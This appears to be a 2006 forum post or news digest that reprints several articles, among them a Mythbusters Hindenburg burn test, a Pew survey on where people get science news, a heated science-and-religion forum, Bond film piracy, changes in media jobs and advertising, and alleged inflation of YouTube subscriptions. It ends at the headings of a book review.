[JackSpratts]

The Best Science Show on Television?
John Schwartz

“This is where we blow stuff up.”

Jamie Hyneman — who, to be honest, did not actually use the word “stuff” — stood in front of a two-story, blast-resistant ruin of a building at the back of the former Alameda Point Naval Air Station.

Mr. Hyneman and his colleague, Adam Savage, are the hosts of “Mythbusters” on the Discovery Channel. It may be the best science program on television, in no small part because it does not purport to be a science program at all. What “Mythbusters” is best known for, to paraphrase Mr. Hyneman, is blowing stuff up. And banging stuff together. And setting stuff on fire. The two men do it for fun and ratings, of course. But in a subtle and goofily educational way, they commit mayhem for science’s sake.

As the name implies, the program tests what the creators call myths, hypotheses taken from folklore, history, movies, the Internet and urban legends. Can a skunk’s smell can be neutralized with tomato juice? Did the Confederacy come up with a two-stage rocket that could strike Washington from Richmond, Va.? Can a sunken ship be raised with Ping-Pong balls? Could a car stereo be so loud that it would blow out the windows?

Mr. Hyneman and Mr. Savage, who produce Hollywood special effects and gadgets for a living, come up with ways to challenge each thesis and build experiments with a small crew. If fire and explosions or, say, rotting pig carcasses happen to be involved, well, that’s entertainment.

What they came here to do on a clear and crisp October morning, with San Francisco posing magnificently across the bay, was set the Hindenburg on fire. Three Hindenburgs, actually, to address a debate over what actually doomed the hydrogen-filled zeppelin on May 6, 1937, in Lakehurst, N.J. Hydrogen, of course, is highly flammable and was the obvious culprit in the disaster.

But a counterargument had arisen that the doping paint used to toughen the craft’s skin of fabric contained aluminum powder and other materials that combined to resemble an explosive called thermite. That, the theory goes, made the fabric as combustible as rocket fuel.

To test the theory, the “Mythbusters” crew built three 1/50-scale models over three days. Two had re-creations of the skin on the original craft, and a third — well, we’ll get to that one.

The three members of the “build team,” Tory Belleci, Kari Byron and Grant Imahara, were not on the set the day of the shoot, but a small video team was. Cameras captured the action from several angles. Mr. Savage had also placed one camera on the ground, facing up toward the mini-blimp, with tiny models of people placed nearby to mimic the newsreel scenes.

It was time to make a disaster happen. Mr. Hyneman stood by an open door of the building to manipulate a long pole with a gas torch that he used to ignite the mini-zeppelin, which was more than 10 feet long, hanging inside. Mr. Savage pinballed between peeking through the door and sitting under a canopy outside watching video monitors.

The first blimp, not filled with hydrogen, burned slowly at its tail end for a minute and a half and then foomph! Fire raced along its length in just a few seconds. Mr. Savage shouted, “Oh, my God, look how fast it’s going!”

“Say it again,” the sound man said, moving in closer.

“Oh, my God, look how fast it’s going through the top!” Mr. Savage exclaimed again. And then, as if forgetting that the camera was still rolling, added softly, “It’s so beautiful.”

After just two minutes, the spidery frame had been denuded, and acrid smoke poured from the open doors of the building. On the monitors, the replay eerily recalled the old newsreel footage.

It might not have turned out that way, of course. Part of what makes the show compelling for so many viewers is its unpredictability. “Once you get it going, whatever it does is what it does,” Mr. Hyneman said.

But, he said, “Whether we get what we expected or not, any result is a good result — even if it’s that we’re idiots.”

“Failure,” Mr. Savage said, “is always an option.”

Their delight in discovery for its own sake is familiar to most scientists, who welcome any result because it either confirms or debunks a hypothesis. That sense of things can be corrupted when grants or licensing deals are on the line. But the Mythbusters get paid whether their experiments succeed or fail.

The show, which has been on the air since October 2003, may be wacky, but Mr. Hyneman and Mr. Savage employ thinking and processes that are grounded in scientific method. They come up with a hypothesis and test it methodically. After research and experimentation, they might determine that they have “busted” a myth or confirmed it, or they might simply deem it “plausible” but not proved.

It is the kind of logical system of evidence-based conclusions that scientists understand but that others can sometimes find difficult to grasp. And so “Mythbusters” fans say the show has hit on a great way of teaching the process of scientific discovery.

David Wallace, an associate professor of mechanical engineering at M.I.T., praises the program for “getting people interested in engineering, technology and how things work.”

Dr. Wallace has sparred in a friendly way with Mr. Hyneman and Mr. Savage over Archimedes’ “death ray,” sunlight reportedly focused with mirrors by the ancient Greeks and used to burn ships in a harbor. The Mythbusters declared the death ray “busted” in 2004 after they were unable to start a fire with their version; Dr. Wallace and his class said they proved it plausible by burning a mock-up ship in 2005.

The “Mythbusters” group invited Dr. Wallace and his students to California to revisit the question under more rigorous conditions for an episode that ran earlier this year. Dr. Wallace’s group failed to ignite a real boat in the water at a distance of 150 feet, but did get it to ignite at 75 feet.

“I don’t think the ruling on a given myth is all that important,” Dr. Wallace said. “It is more about being curious and trying to figure things out.”

Another fan, Eric Sherman, a salesman in Chino Hills, Calif., said he used the show to help his children, ages 5 to 9, “value the scientific method and value thinking skills.”

Recently, when the children came home troubled because a playmate had told them she had a ghost in her room, Mr. Sherman turned the conversation into a lesson. “What would the Mythbusters do?” he asked.

Mr. Hyneman, however, insists that he and the “Mythbusters” team “don’t have any pretense of teaching science.” His wife, he noted, is a science teacher, and he knows how difficult that profession is. “If we tried to teach science,” he said, “the shows probably wouldn’t be successful.”

“If people take away science from it,” Mr. Hyneman said, “it’s not our fault.” But if the antics inspire people to dig deeper into learning, he said, “that’s great.”

Science teachers know a good thing when they see one, however: Mr. Hyneman and Mr. Savage were invited to speak at the annual convention of the National Science Teachers Association in March, and the California Science Teachers Association named Mr. Savage and Mr. Hyneman honorary lifetime members in October.

Back at the former air station, hydrogen was flowing through the second mini-zeppelin, and what happened left little doubt about the original disaster. The flaming gas blew the top out of the zeppelin and flowed upward in a sight even more chillingly reminiscent of the Lakehurst newsreels. The burn took half as long as the first. The hydrogen also appeared to have raised the temperature of the fire, causing more thermite reactions — seen as brilliant white sparks — than in the first test.

“The hydrogen’s helping,” Mr. Savage said. “To say that the hydrogen played no significant role is idiotic.”

He and Mr. Hyneman, standing next to a charred frame, quickly improvised dialogue for the cameras over a half-dozen takes. As far as they were concerned, the myth that the paint alone caused the tragedy was disproved, not just because of the appearance of the blaze but also because of its timing.

“It’s busted,” Mr. Savage said of the myth. Mr. Hyneman added, however, that “the cloth did have something to do with it.”

Mr. Hyneman would be instantly recognizable to anyone who watches the show. He is a study in manly fussiness, with the brushy mustache and the beret, the stylish eyeglasses and the immaculate white shirt over a black long-sleeve T-shirt, and the heavy work boots. His puckish colleague wore a leather jacket over a black T-shirt that read “Am I missing an eyebrow?” — a comment he made in an early episode after wayward pyrotechnics singed him.

They are buddy-movie mismatched, the straight man and the goofy guy, Superego and Id, Martin and Lewis. On the wall at Mr. Hyneman’s company, M5 Industries, a sign expresses his own forcefully precise and orderly nature: “Clean up or die.”

“When we work together, he’s generally leaving a wake of destruction in his path,” Mr. Hyneman grumbled. “Considering it’s my shop and my equipment, it’s irritating.”

They are, in fact, so different that Mr. Hyneman said, “We don’t even like each other.” Although they have worked together for 13 years, they don’t socialize: “We don’t hang out with each other any more than we have to.”

At the same time, he said, their differences allow them to approach each problem from a different perspective. “I find myself feeling out of balance or awkward without him there to bounce things off of,” he said.

The third Hindenburg experiment would theoretically test the notion that the original craft’s fabric had been treated with a thermite-like substance. The crew had mixed about 15 pounds of actual thermite, which is highly explosive, into the fabric.

For this test, no one was allowed near the building. Yellowish brown smoke billowed out and tore at throats and burned eyes. On the monitors, the flames were blindingly bright. White sparks were thrown far and wide. It was all over in moments.

The purpose of the third burn — aside from an excuse to have a truly awesome conflagration — was to suggest what the Hindenburg might have looked like if the chemicals used to coat its skin had actually been thermite instead of a chemical cousin. “The skin of the Hindenburg was not coated in 100 pounds of thermite,” Mr. Hyneman said. Mr. Savage watched the replay again. “Dude, there’s no doubt that does not look like the Hindenburg.”

The sun was setting as they finished the day’s shoot. Mr. Savage’s face was smudged, and both men seemed exhausted. Mr. Hyneman and Mr. Savage set fire to the remaining tub of thermite paint for the cameras, and then the crew packed up.

Earlier in the day, Mr. Hyneman said that he sometimes worried about “glorifying explosions,” which could send the wrong message to young and impressionable viewers. “If I had my druthers, we wouldn’t be blowing stuff up,” he said.

Mr. Savage appeared behind him. “But then we wouldn’t have a show,” he said with a cackle, and darted away.
http://www.nytimes.com/2006/11/21/sc...myth.html?8dpc





Internet Ranks No. 2 for Science News
Anick Jesdanun

The Internet ranks behind only television as the leading source for science news and information, but most users won't trust what they read online blindly, a new study finds.

The Pew Internet and American Life Project said in a report Monday that 20 percent of Americans obtain most of their science information from the Internet, compared with 41 percent who cited television. Newspapers and magazines were each credited by 14 percent, and radio by 4 percent.

The gap disappears among users of high-speed Internet connections at home, with 34 percent saying they turn to the Internet most of the time, and 33 percent citing television.

About 80 percent of those who get science information online try to check its accuracy elsewhere - another online source, offline resources or the original study - and many of them use more than one alternative.

Only 13 percent say they turn to the Internet primarily for its accuracy. Most do so because they consider it convenient.

Americans, however, rely more on the Internet for science news than general news, Pew found.

While the Internet ranked second behind television for science news, it was behind local and national television, radio and the local paper as the typical source for general news. It beat only national newspapers. (The questions in the science survey did not split TV and newspapers into local and national.)

"There's a lot of good scientific content out there," said John Horrigan, Pew's associate director. The Internet was "initially about science and engineers talking to each other. That community has a historical head start in terms of getting information online that's useful to science consumers."

Some 87 percent of Internet users have looked up science information online at one point or another, and two-thirds say they have stumbled upon science news when they logged on for another reason.

The study was based on telephone surveys of 1,447 Internet users conducted Jan. 9-Feb. 6. It has a margin of sampling error of plus or minus 3 percentage points.
http://hosted.ap.org/dynamic/stories...11-20-20-37-33





A Free-for-All on Science and Religion
George Johnson

Maybe the pivotal moment came when Steven Weinberg, a Nobel laureate in physics, warned that “the world needs to wake up from its long nightmare of religious belief,” or when a Nobelist in chemistry, Sir Harold Kroto, called for the John Templeton Foundation to give its next $1.5 million prize for “progress in spiritual discoveries” to an atheist — Richard Dawkins, the Oxford evolutionary biologist whose book “The God Delusion” is a national best-seller.

Or perhaps the turning point occurred at a more solemn moment, when Neil deGrasse Tyson, director of the Hayden Planetarium in New York City and an adviser to the Bush administration on space exploration, hushed the audience with heartbreaking photographs of newborns misshapen by birth defects — testimony, he suggested, that blind nature, not an intelligent overseer, is in control.

Somewhere along the way, a forum this month at the Salk Institute for Biological Studies in La Jolla, Calif., which might have been one more polite dialogue between science and religion, began to resemble the founding convention for a political party built on a single plank: in a world dangerously charged with ideology, science needs to take on an evangelical role, vying with religion as teller of the greatest story ever told.

Carolyn Porco, a senior research scientist at the Space Science Institute in Boulder, Colo., called, half in jest, for the establishment of an alternative church, with Dr. Tyson, whose powerful celebration of scientific discovery had the force and cadence of a good sermon, as its first minister.

She was not entirely kidding. “We should let the success of the religious formula guide us,” Dr. Porco said. “Let’s teach our children from a very young age about the story of the universe and its incredible richness and beauty. It is already so much more glorious and awesome — and even comforting — than anything offered by any scripture or God concept I know.”

She displayed a picture taken by the Cassini spacecraft of Saturn and its glowing rings eclipsing the Sun, revealing in the shadow a barely noticeable speck called Earth.

There has been no shortage of conferences in recent years, commonly organized by the Templeton Foundation, seeking to smooth over the differences between science and religion and ending in a metaphysical draw. Sponsored instead by the Science Network, an educational organization based in California, and underwritten by a San Diego investor, Robert Zeps (who acknowledged his role as a kind of “anti-Templeton”), the La Jolla meeting, “Beyond Belief: Science, Religion, Reason and Survival,” rapidly escalated into an invigorating intellectual free-for-all. (Unedited video of the proceedings will be posted on the Web at tsntv.org.)

A presentation by Joan Roughgarden, a Stanford University biologist, on using biblical metaphor to ease her fellow Christians into accepting evolution (a mutation is “a mustard seed of DNA”) was dismissed by Dr. Dawkins as “bad poetry,” while his own take-no-prisoners approach (religious education is “brainwashing” and “child abuse”) was condemned by the anthropologist Melvin J. Konner, who said he had “not a flicker” of religious faith, as simplistic and uninformed.

After enduring two days of talks in which the Templeton Foundation came under the gun as smudging the line between science and faith, Charles L. Harper Jr., its senior vice president, lashed back, denouncing what he called “pop conflict books” like Dr. Dawkins’s “God Delusion,” as “commercialized ideological scientism” — promoting for profit the philosophy that science has a monopoly on truth.

That brought an angry rejoinder from Richard P. Sloan, a professor of behavioral medicine at Columbia University Medical Center, who said his own book, “Blind Faith: The Unholy Alliance of Religion and Medicine,” was written to counter “garbage research” financed by Templeton on, for example, the healing effects of prayer.

With atheists and agnostics outnumbering the faithful (a few believing scientists, like Francis S. Collins, author of “The Language of God: A Scientist Presents Evidence for Belief,” were invited but could not attend), one speaker after another called on their colleagues to be less timid in challenging teachings about nature based only on scripture and belief. “The core of science is not a mathematical model; it is intellectual honesty,” said Sam Harris, a doctoral student in neuroscience and the author of “The End of Faith: Religion, Terror and the Future of Reason” and “Letter to a Christian Nation.”

“Every religion is making claims about the way the world is,” he said. “These are claims about the divine origin of certain books, about the virgin birth of certain people, about the survival of the human personality after death. These claims purport to be about reality.”

By shying away from questioning people’s deeply felt beliefs, even the skeptics, Mr. Harris said, are providing safe harbor for ideas that are at best mistaken and at worst dangerous. “I don’t know how many more engineers and architects need to fly planes into our buildings before we realize that this is not merely a matter of lack of education or economic despair,” he said.

Dr. Weinberg, who famously wrote toward the end of his 1977 book on cosmology, “The First Three Minutes,” that “the more the universe seems comprehensible, the more it also seems pointless,” went a step further: “Anything that we scientists can do to weaken the hold of religion should be done and may in the end be our greatest contribution to civilization.”

With a rough consensus that the grand stories of evolution by natural selection and the blossoming of the universe from the Big Bang are losing out in the intellectual marketplace, most of the discussion came down to strategy. How can science fight back without appearing to be just one more ideology?

“There are six billion people in the world,” said Francisco J. Ayala, an evolutionary biologist at the University of California, Irvine, and a former Roman Catholic priest. “If we think that we are going to persuade them to live a rational life based on scientific knowledge, we are not only dreaming — it is like believing in the fairy godmother.”

“People need to find meaning and purpose in life,” he said. “I don’t think we want to take that away from them.”

Lawrence M. Krauss, a physicist at Case Western Reserve University known for his staunch opposition to teaching creationism, found himself in the unfamiliar role of playing the moderate. “I think we need to respect people’s philosophical notions unless those notions are wrong,” he said.

“The Earth isn’t 6,000 years old,” he said. “The Kennewick man was not a Umatilla Indian.” But whether there really is some kind of supernatural being — Dr. Krauss said he was a nonbeliever — is a question unanswerable by theology, philosophy or even science. “Science does not make it impossible to believe in God,” Dr. Krauss insisted. “We should recognize that fact and live with it and stop being so pompous about it.”

That was just the kind of accommodating attitude that drove Dr. Dawkins up the wall. “I am utterly fed up with the respect that we — all of us, including the secular among us — are brainwashed into bestowing on religion,” he said. “Children are systematically taught that there is a higher kind of knowledge which comes from faith, which comes from revelation, which comes from scripture, which comes from tradition, and that it is the equal if not the superior of knowledge that comes from real evidence.”

By the third day, the arguments had become so heated that Dr. Konner was reminded of “a den of vipers.”

“With a few notable exceptions,” he said, “the viewpoints have run the gamut from A to B. Should we bash religion with a crowbar or only with a baseball bat?”

His response to Mr. Harris and Dr. Dawkins was scathing. “I think that you and Richard are remarkably apt mirror images of the extremists on the other side,” he said, “and that you generate more fear and hatred of science.”

Dr. Tyson put it more gently. “Persuasion isn’t always ‘Here are the facts — you’re an idiot or you are not,’ ” he said. “I worry that your methods” — he turned toward Dr. Dawkins — “how articulately barbed you can be, end up simply being ineffective, when you have much more power of influence.”

Chastened for a millisecond, Dr. Dawkins replied, “I gratefully accept the rebuke.”

In the end it was Dr. Tyson’s celebration of discovery that stole the show. Scientists may scoff at people who fall back on explanations involving an intelligent designer, he said, but history shows that “the most brilliant people who ever walked this earth were doing the same thing.” When Isaac Newton’s “Principia Mathematica” failed to account for the stability of the solar system — why the planets tugging at one another’s orbits have not collapsed into the Sun — Newton proposed that propping up the mathematical mobile was “an intelligent and powerful being.”

It was left to Pierre Simon Laplace, a century later, to take the next step. Hautily telling Napoleon that he had no need for the God hypothesis, Laplace extended Newton’s mathematics and opened the way to a purely physical theory.

“What concerns me now is that even if you’re as brilliant as Newton, you reach a point where you start basking in the majesty of God and then your discovery stops — it just stops,” Dr. Tyson said. “You’re no good anymore for advancing that frontier, waiting for somebody else to come behind you who doesn’t have God on the brain and who says: ‘That’s a really cool problem. I want to solve it.’ ”

“Science is a philosophy of discovery; intelligent design is a philosophy of ignorance,” he said. “Something fundamental is going on in people’s minds when they confront things they don’t understand.”

He told of a time, more than a millennium ago, when Baghdad reigned as the intellectual center of the world, a history fossilized in the night sky. The names of the constellations are Greek and Roman, Dr. Tyson said, but two-thirds of the stars have Arabic names. The words “algebra” and “algorithm” are Arabic.

But sometime around 1100, a dark age descended. Mathematics became seen as the work of the devil, as Dr. Tyson put it. “Revelation replaced investigation,” he said, and the intellectual foundation collapsed.

He did not have to say so, but the implication was that maybe a century, maybe a millennium from now, the names of new planets, stars and galaxies might be Chinese. Or there may be no one to name them at all.

Before he left to fly back home to Austin, Dr. Weinberg seemed to soften for a moment, describing religion a bit fondly as a crazy old aunt.

“She tells lies, and she stirs up all sorts of mischief and she’s getting on, and she may not have that much life left in her, but she was beautiful once,” he lamented. “When she’s gone, we may miss her.”

Dr. Dawkins wasn’t buying it. “I won't miss her at all,” he said. “Not a scrap. Not a smidgen.”
http://www.nytimes.com/2006/11/21/sc...0&ei=5087%0 A





Pirates Plunder New Bond Flick

The new James Bond film Casino Royale has already been illegally downloaded from the web 200,000 times, an internet monitoring company has revealed.

After its opening night on Thursday, two pirated versions were available for free access on public file sharing networks over the weekend.

The first, apparently from Russia, featured video apparently shot on camcorder over the heads of a cinema audience and featuring a poor quality soundtrack and was on the web late on Friday.

By Saturday morning, a higher quality copy, possibly from Italy, went online.

Dr David Price, head of piracy intelligence at Envisional said: "In the face of this international conspiracy, Bond is really up against it."

"There are now several million active digital pirates. Many of them are ordinary families that have got into the habit of downloading the latest episodes of American TV hits. And they don't have any qualms about using file sharing networks to copy new movies without paying," he added.

Envisional said pirate DVDs were reported in London and Scotland last week but the scale of the threat from online piracy was far greater because the downloads were effectively free and accessible from anywhere in the world.
http://www.itv.com/news/entertainmen...46f23c06b.html





Washington Post Reporters to Join Politics Web Site
Katharine Q. Seelye

The Washington Post, which has long prided itself on the depth and breadth of its coverage of national politics, lost two of its top political reporters yesterday to a fledgling multiplatform news organization, albeit one with deep pockets.

John Harris, The Post’s political editor, and Jim VandeHei, a national political reporter, said yesterday that they were leaving The Post to join Allbritton Communications to create an Internet-focused news organization, as yet unnamed, that will include a politics-only Web site. It will be affiliated with the company’s new newspaper in Washington, The Capitol Leader, which is to start print publication in January.

The departures were in the works before The Post, which like many other newspapers is experiencing a drop in circulation and advertising revenue, announced last week that it was making sweeping changes in its newsroom staff.

Mr. Harris, 43, will be editor in chief and Mr. VandeHei, 35, will be executive managing editor of the paper and of the overall venture, said Frederick J. Ryan Jr., president of Allbritton, which also owns local television and cable stations.

The two journalists are also forming a partnership with CBS News and plan to make regular appearances on morning and evening news programs and on “Face the Nation” on Sunday.

Mr. Ryan said the company would soon be hiring a handful of other well-known journalists.

The departures disrupt plans at The Post to expand its political coverage and capitalize on an intense interest in politics with the Democratic takeover on Capitol Hill and the 2008 presidential campaign.

“We had hoped that John Harris and Jim VandeHei would help lead this effort on the Web,” Leonard Downie Jr., The Post’s executive editor, and Philip Bennett, the managing editor, wrote in a memorandum yesterday to the staff. They said they planned to “reconfigure” the role of the paper’s political editor and would be seeking new political reporters for the national staff and for the Web site.

The Post lost another member of its team last week when David von Drehle, a longtime Post writer and editor who was to become the lead political writer for the Style section, announced he was leaving to become a national correspondent for Time magazine.

It is too soon to say whether the departures of Mr. Harris and Mr. VandeHei are early evidence of a migration by veteran print journalists away from ink-on-paper reporting.

“No one should interpret this as people are taking flight from the old media,” Mr. Harris said. “This is a time, obviously, of change and unquestionable anxiety for the news business as a whole, but neither of us felt anxiety about our roles or pessimism about the robust future of The Post.”

Mr. VandeHei, who said he got 95 percent of his news online, said he was not sure if the departures signaled a coming trend, but said: “From the number of big-name journalists I heard from today, I can say there’s a huge appetite for what we’re doing.”

Mr. Ryan said the future was in a multiplatform approach to news, “without the baggage of a long-term print institution.”

He said the idea originated in discussions with Mr. VandeHei, whom The Capitol Leader had approached about joining the newspaper. As it happened, Mr. VandeHei and Mr. Harris had been talking with each other about what it would be like to start a multiplatform news organization with top journalists from scratch.

“This is not a statement about The Post,” Mr. VandeHei said. “It’s about having a rare opportunity to be given what it takes to build your dream news organization.”
http://www.nytimes.com/2006/11/21/bu...ia/21post.html





Yo, Rocky, or Rambo, Gonna Fly Now at 60
Allison Hope Weiner

When Sylvester Stallone first started talking about bringing Rocky Balboa out of a 16-year retirement for the character’s sixth turn, even his wife saw humiliation and embarrassment ahead. Then there were the countless studio chiefs who advised Mr. Stallone that at 60 he was not exactly a magnet for young moviegoers.

“People were saying the parade had gone by, and who was I to try and bring it back again?” Mr. Stallone said during a phone interview last week. “I just felt that I’ve had a lot of regrets in the past 15 years, and I had to go back and rid myself of this regret.”

So he took his shot when Revolution Studios agreed to join MGM in making “Rocky Balboa,” even while knowing that the film — about a washed up champion who insists on a last, doomed chance at a younger man’s game — would inevitably become a metaphor for his own fading career.

“An artist dies twice, and the second death is the easiest one,” Mr. Stallone said in speaking of his long fall from Hollywood’s pinnacle. “The artistic death, the fact you are no longer pertinent — or that you’re deemed someone whose message or talent has run its course — is a very, very tough piece of information to swallow.”

Set for release on Dec. 22, the new movie — written and directed by and starring Mr. Stallone — is not so much about a comeback as about eking the last ounce of potential from a once-great talent. In much the same spirit, Mr. Stallone, who has made little impression at the box office since his modest hit with “Cop Land” in 1997, has also agreed to revive the angry Vietnam veteran John Rambo, another trademark character, with a “Rambo IV,” due sometime in the next two years.

By resurrecting characters born decades ago — the original “Rocky” swept him to stardom in 1976, as Jimmy Carter was preparing to take office — Mr. Stallone may well rally some support from baby boomers who are similarly reluctant to leave the stage. But the gambit also leaves Mr. Stallone and his collaborators considerably exposed.

“We won an Academy Award for ‘Rocky’ and sent all our kids through college, and it means a lot to us,” said Irwin Winkler, a producer of the original film and an executive producer of the new one. “We didn’t want to be embarrassed. Even after we’d finished the picture and knew it was good, we worried about whether it was an easy target for jokes.”

In “Rocky Balboa,” which has begun screening for the press, Mr. Stallone seeks to undercut the absurdity of pitting an ancient boxer against a young champion by casting the showcase bout as an exhibition fight, and by approaching the script with self-awareness and humor. “They’re playing around with the fact that he’s an old guy coming back, joking about it, and that works well,” said Peter Sealey, a former film executive who is now a professor of marketing at University of California, Berkeley. “I think this one has a shot.”

Mr. Stallone has also tried to widen Rocky’s audience by going virtual. Rocky is drawn back to the ring after a national sports show features a digital boxing match between Rocky Balboa and the current champ, Mason (the Line) Dixon. “It’s a high-technology, Google-blogging, iMac-type of premise going on there mixed with the classic underdog versus the establishment,” offered Mr. Sealey.

But the story’s drive comes from its obvious attempt to grapple with irrelevance. “Maybe you’re doing your job, but why do you got to stop me from doing mine?” the superannuated Rocky demands at one point of boxing commissioners who are reluctant to license him.

“This movie is about a man who doesn’t feel he’s all washed up because he’s 60 years old,” Mr. Winkler said. “And about a man who doesn’t feel he should be ignored or will be ignored because he’s getting on with his life.”

Mr. Stallone, whose brightest spots lately have been a turn as the toymaker in “Spy Kids 3-D: Game Over” and his appearances on the reality boxing show “The Contender,” acknowledges that there were very few real film projects for him before “Rocky Balboa.”

But he was not yet ready to accept obsolescence, even if that meant risking ridicule by turning back to the past. “Every generation runs its course, and they are expected to step aside for the next generation,” Mr. Stallone said. “My peers are going through it right now, and they feel they have much to contribute, but the opportunity is no longer there. They’re considered obsolete, and it’s just not true. This film is about how we still have something more to say.”
http://www.nytimes.com/2006/11/21/movies/21sly.html





Google Mapping an Offline Course
Louise Story

Major Internet sites are showing a strong and growing interest in the advertising business, and traditional ad firms are starting to get worried.

Google has been leading the way, building on its online ad strength by striking deals to sell advertising in traditional media like newspapers and radio. Meanwhile, eBay is developing an ad-buying system for TV spots for a group of large advertisers like Wal-Mart. And yesterday, Yahoo announced a deal with 176 newspapers that did not include offline ad sales, although newspaper executives did not rule that out.

Ad executives say it is hard to know where Google and the other Internet giants will stop.

“The fox is in the henhouse and it’s going to gobble a good part of this business up before anybody realizes they’re history,” said Gene DeWitt, president of DeWitt Media Solutions.

Traditional media companies are increasingly linking up with the online giants that have been stealing their customers and advertisers. The traditional companies — like newspapers, magazines and television and radio networks — are hoping they can reverse their fortunes and share in some of the Internet success.

The offline ad market, in the meantime, provides the kind of growth opportunity that Internet companies like Google are looking for, stock analysts said.

“What these enterprises clearly need is to identify new marketplaces to expand into to justify their valuations,” said Youssef Squali, the Internet analyst at Jefferies & Company. “And that’s exactly what Google and Yahoo are doing.”

Google executives have made no secret of their ambitions in traditional ad sales, saying they can save marketers money on print, radio and TV spots, while taking a commission in the process. Google is testing ad sales for more than 50 newspapers and plans to make newspaper ad sales a permanent offering sometime next year.

Next month, Google plans to sell radio ads through the online auction system it uses to sell Internet ads. And it has indicated to analysts that it is considering moving into TV and direct-mail ads.

Consumer brand companies have turned to advertising agencies for decades to design their ads and negotiate where and when those ads run. Media buyers at ad firms plan and negotiate ad placement with publications, TV and radio stations and, more recently, Web sites. Placing ads is big business for the media buyers at agencies, because their pay is often based partly on how much the ads cost.

Ad sales in traditional media totaled nearly $150 billion last year. The entire United States ad market, which also includes direct mail, outdoor ads, yellow pages ads and online ads, is worth about $286 billion, according to Robert J. Coen, chief forecaster for Universal McCann, part of the Interpublic Group.

Internet ad revenue have been growing by upward of 30 percent a year — this year about $16 billion will be spent online. But, as Google pointed out in its annual report last year, large advertisers would most likely continue to focus most of their ad budgets on traditional media.

To advertising executives, Google is the “frien-emy,” both the friend and the enemy, said Martin Sorrell, chief executive of the WPP Group, at a recent industry gathering. Agency executives said Google, the friend, could provide agencies and media companies with the technical systems they sorely need to modernize ad buying. Media buyers said better systems could allow them to spend more of their time planning how to better grab consumer attention.

But Google could end up automating so much of the ad-buying process that companies no longer see the need to pay much for media buyers.

Several big advertisers are looking for alternatives. Companies like Wal-Mart, Microsoft, Philips Electronics, Home Depot and Hewlett-Packard hired eBay in May to develop an online marketplace where they can buy offline ads.

The advertisers — who at one point considered working with Google instead — expect to spend about $50 billion on cable network ads to test eBay’s system early next year. They will test other media next.

Yesterday’s announcement from Yahoo that it will sell online ads with 176 newspapers opens the door to offline cooperation as well. Newspapers, in theory, could sell all of their ads through Yahoo’s automated system. In a conference call, one newspaper executive said such an arrangement was a “very real possibility.”

Newspaper executives emphasized that Yahoo was now the “partner of choice” for their companies, which they acknowledged could mean that the newspapers would change their existing relationships with companies like Google and MSN.

Ad executives are not sitting idly by while these tests proceed. Media buying agencies from each of the five largest ad companies have become partners with Hewlett-Packard and the other companies involved in eBay’s test. And agencies, through an industry group, are working to modernize their ad-buying systems, so they can purchase, track and bill clients for ads as efficiently as the large online companies.

Media companies, too, are working to streamline ad sales. The Newspaper Association of America, for example, is discussing providing advertisers a central place to buy ads in different newspapers by building a centralized buying system.

Some media buyers said they would welcome a comprehensive bidding system built by Google or eBay if it brought more transparency to ad-buying. TV networks and publications and networks “are the only ones who know what is going on,” said Steven Farella, chief executive of TargetCast TCM, a media agency.

Greater transparency in media buying, of course, is not desired by all. Some media buyers have long-term relationships with media companies, giving them a competitive advantage that they would rather not lose. Their clients presumably also like the advantage.

But many advertisers want more transparency, said Bob Liodice, chief executive of the Association of National Advertisers, which is supporting eBay’s auction system.

“The ability to get prices out in the open will allow companies to develop an automated process that cuts away the lack of transparency that exists in media buying today,” he said.

Large advertisers have approached Google and Yahoo several times asking that the company expand its systems to sell traditional advertising, said Martin Pyykkonen, senior analyst at Global Crown Capital. “As you look down the road, you can look at them as being advertising agencies of a sort, doing media buying,” Mr. Pyykkonen said.

EBay would not explain how its ad auction would work or say whether buyers and sellers would be able to know how much others were bidding. Hani A. Durzy, an eBay spokesman, said the company would build the auction site to fit its new clients’ specifications. “Media buys are a commodity,” Mr. Durzy said. “They felt that there’s some efficiencies that could be wrung out of the existing system.”

Just what Google or eBay’s systems will save advertisers is the question. Google hopes to one day provide a place where advertisers can buy ads in all types of media, said Tim Armstrong, Google’s vice president for ad sales.

But Google’s vision, he said, does not involve cutting agencies’ media buyers out of the system. Mr. Armstrong said the system Google envisions would enable advertisers to aim at consumers so specifically and in so many complicated forms that media buyers would be needed to navigate the process for advertisers.

Google, in fact, has been holding regular seminars all year to update media buyers on changes in the digital world. Google will work directly with any companies that want to use Google’s systems without an agency, but Mr. Armstrong said he doubted that would occur.

Publications and ad agencies are less afraid of Yahoo than Google, Mr. Squali said. Yahoo considers itself a media company, which gives traditional agencies and media companies a sense of ease, whereas Google has stated a more disruptive goal of making ad buying and selling more efficient, he said.

Google’s name in the ad community frequently brings up visions of doomsday. At an ad design and production conference last month, ad executives mused about how advertising would be different in 2010. Paul Lavoie, chief creative officer of Taxi, an ad and design agency, predicted that Google would be the largest advertising agency by then. The audience laughed, but Mr. Lavoie, reached later, said he was serious.

“Let’s look at the facts: They have the best data to understand consumer habits, they can track your search, they know how much time you spend on certain sites,” Mr. Lavoie said. “They’re doing much more powerful work than some of the work being done by some of the more traditional agencies.”
http://www.nytimes.com/2006/11/21/bu...ia/21adco.html





Superman and Time Warner Cheating YouTube?

Shmuel Tennenhaus has just compiled an incredible video on his YouTube channel exposing some of the potential for fraud that exists on the YouTube platform.

Specifically, Shmuly has uncovered some of the dirt on this week’s #1 subscribed to YouTube channel, “SupermanReturnsDVD.”

While it’s not out of the realm of reality to suggest that the Man of Steel could rise to the level of YouTube stardom, realizing some of the tricks that Warner Brothers may be using to push the release of the Superman Returns DVD to the top of YouTube’s subscription list opens a rusty can of kryptonite on this whole marketing attempt.

Shmuly points out that there have been over 7,500 subscribers to the SupermanReturnsDVD channel just this week. However, there are only 9 videos in the channel, and there have been less video views than actual subscribers. In other words, more “people” have subscribed to the channel than actual videos viewed, which as Shmuly comments on, is simply ridiculous.

Additionally, many of the accounts subscribing to the SupermanReturnsDVD channel were created within the past week, have no favorites listed, have made no comments, have no friends, and are just linked to the SupermanReturnsDVD channel.

Perhaps even more disturbing in this context is the threats from Time Warner to sue YouTube for use of its material as copyright infringement. Dick Parsons, CEO of Time Warner, said in October:

“If you let one thing ignore your rights as an owner it makes it much more difficult to defend those rights when the next guy comes along.”

Even worse, Mr. Parsons, is when you attempt to game a user generated content site with inflated ratings and created user accounts because your company does not understand community, markets and the future.

http://www.youtube.com/watch?v=ybFOu6d6y0k

http://www.costpernews.com/?p=102





Book Review

The Man Who Would Be a Media King, and His Lady
Janet Maslin


OUTRAGEOUS FORTUNE
The Rise and Ruin of Conrad and Lady Black

By Tom Bower

